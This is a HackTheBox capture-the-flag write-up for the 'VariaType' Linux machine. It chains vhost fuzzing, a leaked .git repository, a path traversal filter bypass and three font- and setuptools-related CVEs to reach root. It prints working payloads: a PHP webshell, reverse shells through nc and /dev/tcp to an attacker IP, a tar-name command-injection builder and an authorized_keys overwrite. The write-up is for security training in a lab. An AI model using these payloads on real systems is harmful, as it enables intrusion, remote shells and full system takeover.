All writeups
HackTheBox: VariaType avatar
MACHINE Linux 3/5

HackTheBox: VariaType

2026-06-13 9 min read

Introduction

VariaType is a Medium-rated Linux machine built around a font-generation platform. The attack chain involves:

  • Discovering a portal.variatype.htb subdomain via vhost fuzzing
  • Finding an exposed .git directory on the portal and dumping it to recover hardcoded credentials from the commit history
  • Logging into the portal and exploiting a path traversal in download.php to read the Nginx config, revealing the web root
  • Using CVE-2025-66034 (fonttools .designspace arbitrary file write) to drop a PHP reverse shell into the /files directory and land as www-data
  • Using pspy to catch a cron job where steve runs fontforge against files in the upload directory
  • Crafting a malicious poc.tar to exploit CVE-2024-25082 (fontforge command injection via malformed archive filenames) and pivot to steve
  • Abusing sudo access to install_validator.py which calls setuptools PackageIndex.download(), exploiting CVE-2025-47273 (path traversal) to write an attacker-controlled public SSH key to /root/.ssh/authorized_keys
  • SSH-ing in as root

Enumeration

Nmap Scan

ports=$(nmap -p- --min-rate=1000 -T4 10.129.9.19 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.129.9.19

Two ports open: 22 (OpenSSH 9.2) and 80 (Nginx 1.22.1). The HTTP server redirects to variatype.htb.

echo "10.129.9.19 variatype.htb" | sudo tee -a /etc/hosts

The site is a variable font generator — upload a .designspace file alongside TTF/OTF masters and it builds a variable font.


Virtual Host Enumeration

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FFUZ \
  -u http://variatype.htb \
  -H "Host: FFUZ.variatype.htb" \
  -fw 5

Breaking down every flag:

FlagWhat it does
-w ...Wordlist; FFUZ is the injection keyword
-u http://variatype.htbTarget URL — the Host header carries the subdomain, not the URL
-H "Host: FFUZ.variatype.htb"Fuzzes the Host header instead of the URL path
-fw 5Filter by word count — drops the generic “wrong vhost” response

Result: portal → Status 200.

echo "10.129.9.19 portal.variatype.htb" | sudo tee -a /etc/hosts

Beginner tip: -fw 5 filters results by word count, dropping the generic “wrong vhost” response that always returns the same page. Any response with a different word count is a real hit. Always fuzz vhosts — a subdomain can host a completely different application with entirely different vulnerabilities.


Exposed .git Directory on portal.variatype.htb

Browsing to portal.variatype.htb shows a login page. Run dirsearch:

dirsearch -u http://portal.variatype.htb

Results: [301] /.git, [200] /auth.php, [403] /files/

Dump the repository with git-dumper:

git-dumper http://portal.variatype.htb/ .git
cd .git && git log

Two commits: 753b5f59 - fix: add gitbot user for automated validation pipeline and 5030e791 - feat: initial portal implementation.

Inspect what changed in the latest commit:

git show 753b5f5957f2020480a19bf29a0ebc80267a4a3d

The diff shows auth.php was updated to add:

$USERS = [
    'gitbot' => 'G1tB0t_Acc3ss_2025!'
];

Credentials: gitbot:G1tB0t_Acc3ss_2025! — login works.

Beginner tip: An exposed .git directory is one of the most reliable findings in web enumeration. The actual files may be forbidden (403), but the git objects themselves are often fetchable. git-dumper reconstructs the full repo from those objects. Always check commit history — developers frequently commit secrets and then try (and fail) to remove them in a later commit.


Foothold — Part 1: Path Traversal to Nginx Config

The dashboard’s download action passes the filename as a f parameter to download.php:

GET /download.php?f=variabype_MBjg9OLBZRA.ttf HTTP/1.1

A naive traversal to /etc/passwd returns File not found — the filter strips ../. Bypass with doubled sequences: if the app strips one layer of ../, ....// collapses to a valid traversal after stripping.

GET /download.php?f=....//....//....//....//....//....//etc/passwd

This works. Now read the Nginx config:

GET /download.php?f=....//....//....//....//....//....//etc/nginx/nginx.conf

The main config includes site configs from /etc/nginx/sites-enabled/. Pull the portal config:

GET /download.php?f=....//....//....//....//....//etc/nginx/sites-enabled/portal.variatype.htb

Key lines:

root /var/www/portal.variatype.htb/public;

location /files/ {
    autoindex off;
}

The /files/ directory is served directly from /var/www/portal.variatype.htb/public/files. No directory listing, but files are accessible by name — this is the write target for the CVE.

Beginner tip: Path traversal filters almost always have edge cases. ../ blocked? Try ....//, ..%2f, %2e%2e/, or mixed encoding. The filter strips one pattern and leaves a valid traversal behind. Test methodically and enumerate the filter’s exact behavior before giving up.


Foothold — Part 2: CVE-2025-66034 — PHP Webshell as www-data

CVE-2025-66034 is an arbitrary file write in fonttools’ .designspace parser. The <variable-font filename="..."> attribute is used as the output path for the generated font with no sanitization — path traversal in the filename walks it into the web root.

Construct the malicious .designspace:

<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
  <axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
      <labelname xml:lang="en"><![CDATA[<?php system($_GET['cmd']); ?>]]></labelname>
    </axis>
  </axes>
  <sources>
    <source filename="source-light.ttf" name="Light">
      <location><dimension name="Weight" xvalue="100"/></location>
    </source>
    <source filename="source-regular.ttf" name="Regular">
      <location><dimension name="Weight" xvalue="400"/></location>
    </source>
  </sources>
  <variable-fonts>
    <variable-font name="Hack"
      filename="../../../../../../../var/www/portal.variatype.htb/public/files/shell.php">
      <axis-subsets>
        <axis-subset name="Weight"/>
      </axis-subsets>
    </variable-font>
  </variable-fonts>
</designspace>

Upload this .designspace alongside two dummy TTF files through the font generator. The portal dashboard confirms the build succeeded and the shell appears in the file list.

Test execution:

http://portal.variatype.htb/files/shell.php?cmd=id

Response: uid=33(www-data) gid=33(www-data)

Start a listener then trigger a reverse shell:

nc -lnvp 4444
http://portal.variatype.htb/files/shell.php?cmd=rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/bash+-i+2>%261|nc+10.10.14.X+4444+>/tmp/f

Shell received as www-data.

Beginner tip: CVE-2025-66034 is a classic unsafe-path-in-output-filename bug. The parser trusts the filename attribute in the XML with no check that the path stays inside a safe directory. Path traversal sequences in the filename walk it right into the web root. The PHP payload goes into the font’s metadata fields, which the parser writes verbatim into the output file.


Lateral Movement — CVE-2024-25082: fontforge Command Injection to steve

Process Monitoring with pspy

cd /tmp && wget http://10.10.14.X:5000/pspy64s && chmod +x pspy64s && ./pspy64s

Every minute, UID 1000 (steve) runs /home/steve/bin/process_client_submissions.sh. That script loops over everything in /var/www/portal.variatype.htb/public/files and passes each filename to fontforge:

timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
font = fontforge.open('$file')
..."

The filename is injected directly into the Python string via bash variable expansion with no quoting and no sanitization.

Exploiting CVE-2024-25082

When fontforge opens a .tar file, it extracts the archive and tries to open its entries. If an entry’s name contains shell metacharacters ($()), fontforge executes them.

Encode the reverse shell payload to avoid special character issues:

echo "bash -i >& /dev/tcp/10.10.14.X/4444 0>&1" | base64

Build the malicious archive with the subshell as the entry name:

import tarfile

entry_name = r"$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC54LzQ0NDQgMD4mMQo= | base64 -d | bash)"

tarinfo = tarfile.TarInfo(name=entry_name)
tarinfo.size = 0
tarinfo.type = tarfile.REGTYPE

with tarfile.open("poc.tar", "w") as t:
    t.addfile(tarinfo)

Transfer and generate the archive from inside the upload directory:

cd /var/www/portal.variatype.htb/public/files
wget http://10.10.14.X:7000/exploit.py
python3 exploit.py

Start a listener and wait for the cron job to fire:

nc -lnvp 4444

When fontforge hits poc.tar, it evaluates the subshell in the entry name. Shell received as steve.

id
# uid=1000(steve) gid=1000(steve)

User flag captured. /home/steve/user.txt

Beginner tip: pspy is essential when you land on a box without root. It lets you watch every process that spawns on the system in real time, including cron jobs running as other users. Once you see a cron running a script that touches attacker-controlled input, the next question is always: does the script handle that input safely? Here, $file goes straight into a bash heredoc with no quoting, making the injected tar entry name execute as a shell command.


Privilege Escalation — CVE-2025-47273: setuptools Path Traversal to root

Enumeration

sudo -l

Result: (root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *

The script downloads a plugin from a URL using setuptools.package_index.PackageIndex.download(), saving it to /opt/font-tools/validators. Check the installed setuptools version:

python3 -c "import setuptools; print(setuptools.__version__)"

Result: 78.1.0 — CVE-2025-47273 was fixed in 78.1.1.

PackageIndex.download() extracts the filename from the URL path to determine where to save the file. It doesn’t sanitize percent-encoded path separators, so %2f in the URL’s filename component decodes to /, traversing outside the intended directory.

Building the Exploit

Generate an SSH keypair:

ssh-keygen -t ed25519 -f ~/.ssh/variatype_root

Serve the public key from a minimal HTTP server that responds to any path:

from http.server import HTTPServer, BaseHTTPRequestHandler

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-type", "text/plain")
        self.end_headers()
        self.wfile.write(open("/path/to/variatype_root.pub", "rb").read())

HTTPServer(("0.0.0.0", 8000), Handler).serve_forever()

Run the validator script as root with the URL’s filename portion pointing at /root/.ssh/authorized_keys via percent-encoding:

sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
  'http://10.10.14.X:8000/%2f%2f%2froot%2f.ssh%2fauthorized_keys'

PackageIndex.download() decodes the path, resolves the filename to ///root/.ssh/authorized_keys, and writes the public key there. SSH in as root:

ssh -i ~/.ssh/variatype_root root@10.129.9.19

Root flag captured. /root/root.txt

Beginner tip: PackageIndex.download() uses the last path segment of the URL as the filename to save. The vulnerability is that it decodes percent-encoding before joining the path, so %2f becomes / and lets you escape the target directory entirely. The script’s URL validation only checks the scheme and slash count, but never restricts where the file lands. Running it as root via sudo means whatever it writes, it writes as root.


Summary

StageTechniqueKey Tool
ReconVirtual host fuzzingffuf
Credential leakExposed .git + commit historygit-dumper
Info disclosurePath traversal filter bypass (....//)Burp Suite
FootholdCVE-2025-66034 — fonttools arbitrary file write.designspace XML
PivotCVE-2024-25082 — fontforge tar command injectionpspy + exploit.py
PrivEscCVE-2025-47273 — setuptools percent-encoded path traversalsudo + custom HTTP server

Key Takeaways

ConceptWhat it means
Virtual host fuzzingOne IP can serve many web apps distinguished by the Host header. Fuzzing for subdomains discovers apps that never appear in search engines or links.
Exposed .git directoryWhen .git/ is accessible on a web server, the full repository history can be reconstructed — including secrets committed and “removed” in a later commit.
Path traversal filter bypassFilters that strip ../ can be bypassed with doubled sequences like ....// which collapse into valid traversal after the filter runs. Always test variations when a naive payload fails.
CVE-2025-66034 (fonttools)The .designspace parser trusts the filename attribute of <variable-font> as the output path without constraining it to a safe directory — arbitrary file write to the web root.
pspyA Linux process monitor requiring no root privileges. Invaluable for catching cron jobs and background processes that interact with attacker-controlled files.
CVE-2024-25082 (fontforge)fontforge evaluates shell metacharacters in tar entry names. A crafted .tar with a $() subshell as its entry name executes arbitrary commands as the user running fontforge.
CVE-2025-47273 (setuptools)PackageIndex.download() decodes percent-encoded slashes in the URL filename segment before writing, allowing path traversal outside the intended destination.
sudo abuseA script runnable as root via sudo is only as safe as its dependencies. A path traversal or command injection in any library it calls is a ready-made privilege escalation.